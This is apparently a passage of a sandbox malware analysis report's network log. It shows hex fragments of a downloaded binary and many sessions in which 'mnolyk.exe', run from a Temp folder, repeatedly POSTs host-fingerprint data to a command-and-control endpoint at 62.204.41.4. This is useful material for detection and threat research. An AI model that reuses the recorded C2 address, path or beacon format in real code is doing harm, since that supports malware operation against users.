Feb 6, 2023 14:16:28.979521990 CET	108	IN	Data Raw: 00 00 00 00 6a 20 68 a8 3c 01 10 b9 70 68 01 10 e8 3f 23 00 00 68 00 ea 00 10 e8 8c 2a 00 00 59 c3 cc cc cc 6a 38 68 cc 3c 01 10 b9 88 68 01 10 e8 1f 23 00 00 68 60 ea 00 10 e8 6c 2a 00 00 59 c3 cc cc cc 6a 38 68 cc 3c 01 10 b9 a0 68 01 10 e8 ff Data Ascii: j h<ph?#hYj8h<h#h`lYj8h<h"hLYj8h<h"h ,Yj8h=h"h*Yj0hD=h"h)Yj0hx=i"h@)Yhh=i
Feb 6, 2023 14:16:28.979547977 CET	109	IN	Data Raw: 7d f0 10 8d 45 dc 0f 43 45 dc 0f be 04 18 8b 04 81 83 f8 ff 74 27 c1 e6 06 03 f0 83 c7 06 78 18 8b cf 8b c6 d3 f8 8b 4d f4 50 e8 1f 1b 00 00 8b 55 ec 83 ef 08 8b 4d f8 43 3b da 72 c2 8b 45 f8 85 c0 74 0e 68 00 04 00 00 50 e8 f0 21 00 00 83 c4 08 Data Ascii: }ECEt'xMPUMC;rEthP!Ur(MBrI#+wVRQ!UEEEr(MBrI#+wRQ~!E_^[]GU4E0SVW3E
Feb 6, 2023 14:16:28.979572058 CET	111	IN	Data Raw: 23 52 51 e8 31 1d 00 00 83 c4 08 33 f6 e9 74 ff ff ff 52 51 e8 20 1d 00 00 83 c4 08 5f 8b c6 5e 8b e5 5d c3 e8 3f 43 00 00 e8 4a 1a 00 00 cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 18 8b 55 1c 8b 4d 08 56 85 c0 0f 84 82 00 00 00 53 40 57 50 Data Ascii: #RQ13tRQ _^]?CJUQEUMVS@WP] M}CM+IDuNFu+FVjVSWP5WjWj UM_[^r%BrI#+wRQ
Feb 6, 2023 14:16:28.979619026 CET	112	IN	Data Raw: 10 72 2d 8b 4c 24 40 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 f8 10 00 00 52 51 e8 06 18 00 00 83 c4 08 8b 0d e4 68 01 10 83 f9 10 72 2e a1 d0 68 01 10 41 81 f9 00 10 00 00 72 16 8b 50 fc 83 c1 23 2b c2 83 Data Ascii: r-L$@BrI#+RQhr.hArP#+QPD$`hhL$Dh~D$tfhQT$DL$dT$Xr-L$@BrI#+PRQ^hr.hArP
Feb 6, 2023 14:16:28.979794979 CET	114	IN	Data Raw: 00 00 8a 41 02 3a 42 02 75 0f 83 7c 24 1c ff 74 7b 8a 41 03 3a 42 03 74 73 83 ff 25 73 6e 83 ce 02 c7 44 24 50 00 00 00 00 b9 01 00 00 00 89 74 24 18 3b f9 c7 44 24 54 0f 00 00 00 8d 44 24 20 c6 44 24 40 00 0f 42 cf 83 7c 24 34 10 51 0f 43 44 24 Data Ascii: A:Bu\|$t{A:Bts%snD$Pt$;D$TD$ D$@B\|$4QCD$$L$DPT$TD$@L$@C\|$Pu81u\|$0D$\|$0L$@T$TD$D$t9D$r-BrI#+LRQZD$ T$tD$r-L$`B
Feb 6, 2023 14:16:28.979820967 CET	115	IN	Data Raw: 6c 8b c7 83 e8 04 89 44 24 1c 72 19 8b 01 3b 02 75 1c 8b 44 24 1c 83 c1 04 83 c2 04 83 e8 04 89 44 24 1c 73 e7 83 f8 fc 0f 84 bd 00 00 00 8a 01 3a 02 75 39 83 7c 24 1c fd 0f 84 ac 00 00 00 8a 41 01 3a 42 01 75 26 83 7c 24 1c fe 0f 84 99 00 00 00 Data Ascii: lD$r;uD$D$s:u9\|$A:Bu&\|$A:Bu\|$A:Bt~GwvD$Pt$;D$TD$ D$@B\|$4QCD$$L$DPT$TD$@L$@C\|$Pu0xf90u\|$0D$\|$0L$@T$T
Feb 6, 2023 14:16:28.979856014 CET	116	IN	Data Raw: fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 f1 01 00 00 52 51 e8 ff 08 00 00 83 c4 08 80 7c 24 17 00 74 17 83 ec 18 8b cc 68 00 69 01 10 e8 35 04 00 00 e8 e0 eb ff ff 83 c4 18 8b 74 24 18 83 ec 18 8b cc 81 ce 00 10 00 00 Data Ascii: rI#+RQ\|$thi5t$t$0hiL$xWxr\|$4L$ CL$ ;xudD$r;uD$D$s:u1\|$A:Bu\|$tzA:Bu\|$tkA:Btc_u^
Feb 6, 2023 14:16:28.979882002 CET	118	IN	Data Raw: 0e 50 57 51 e8 41 1d 00 00 8b 45 08 83 c4 0c 89 46 10 8b c6 89 5e 14 5f 5e 5b 5d c2 04 00 e8 97 de ff ff e8 22 2a 00 00 cc cc 55 8b ec 51 53 56 8b f1 57 8b 7d 0c 8b 4e 14 89 4d fc 3b f9 77 28 8b de 83 f9 10 72 02 8b 1e 57 ff 75 08 89 7e 10 53 e8 Data Ascii: PWQAEF^_^[]"*UQSVW}NM;w(rWu~S";_^[]v+;v;BC=r%H#;QtwA#HtPm3WuEP~^
Feb 6, 2023 14:16:28.979907036 CET	119	IN	Data Raw: 00 50 e8 bc 2e 00 00 59 85 c0 74 03 32 c0 c3 e8 a2 30 00 00 b0 01 c3 6a 00 e8 d0 00 00 00 84 c0 59 0f 95 c0 c3 e8 cc 0c 00 00 84 c0 75 03 32 c0 c3 e8 0c 35 00 00 84 c0 75 07 e8 c2 0c 00 00 eb ed b0 01 c3 e8 04 35 00 00 e8 b3 0c 00 00 b0 01 c3 55 Data Ascii: P.Yt20jYu25u5Uu}uuMPu,Uuu'YY]cth,j3Y!+*j4YnU}u(jOu2]T4uj%Y]U=
Feb 6, 2023 14:16:29.046888113 CET	121	IN	Data Raw: 00 00 00 53 57 ff 75 08 e8 b1 f8 ff ff 8b f0 89 75 e4 83 ff 01 75 22 85 f6 75 1e 53 50 ff 75 08 e8 99 f8 ff ff 53 56 ff 75 08 e8 64 fd ff ff 53 56 ff 75 08 e8 6a 00 00 00 85 ff 74 05 83 ff 03 75 48 53 57 ff 75 08 e8 47 fd ff ff 8b f0 89 75 e4 85 Data Ascii: SWuuu"uSPuSVudSVujtuHSWuGut5SWuD$MQ0h:uuue3uEMdY_^[UV5u3@uuu,^]U}uuuu]

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49700	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:31.043766975 CET	210	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:31.124840975 CET	211	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.5	49790	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:11.646769047 CET	301	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:11.715131998 CET	302	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.5	49791	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:11.901330948 CET	302	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:11.967792034 CET	303	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.5	49792	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:12.357233047 CET	303	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:12.424122095 CET	304	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.5	49793	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:12.843597889 CET	304	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:12.909478903 CET	305	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.5	49794	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:14.531024933 CET	305	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:14.596820116 CET	306	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.5	49795	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:14.968803883 CET	306	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:15.033853054 CET	307	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.5	49796	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:16.378789902 CET	307	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:16.448314905 CET	308	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.5	49797	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:16.911714077 CET	308	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:16.977150917 CET	309	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.5	49798	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:17.167239904 CET	309	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:17.233485937 CET	310	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.5	49799	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:17.417285919 CET	310	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:17.481492043 CET	311	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49701	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:31.297622919 CET	211	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:31.362792015 CET	212	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.5	49800	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:17.654881954 CET	311	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:17.718599081 CET	312	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.5	49801	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:17.902349949 CET	312	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:17.965825081 CET	313	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.5	49802	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:18.144256115 CET	313	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:18.215267897 CET	314	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.5	49803	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:18.396344900 CET	314	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:18.459352970 CET	315	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.5	49804	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:18.644414902 CET	315	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:18.708070993 CET	316	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.5	49805	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
